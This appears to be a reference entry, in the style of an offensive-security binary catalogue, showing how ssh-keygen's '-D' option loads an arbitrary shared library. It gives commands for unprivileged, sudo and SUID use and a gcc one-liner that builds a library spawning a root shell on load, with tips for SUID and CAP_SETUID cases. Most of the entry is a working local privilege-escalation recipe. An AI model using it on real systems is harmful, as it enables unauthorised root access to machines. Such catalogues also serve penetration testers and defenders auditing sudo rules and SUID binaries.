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• Library load

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

• Comment

  The shared library must contain the void C_GetFunctionList() {} function.

  Unprivileged

  This function can be performed by any unprivileged user.

  ssh-keygen -D /path/to/lib.so

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ssh-keygen -D /path/to/lib.so

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  ssh-keygen -D /path/to/lib.so

  Payload

  As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

  echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
      | gcc -w -fPIC -shared -o lib.so -x c -
  

  Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.

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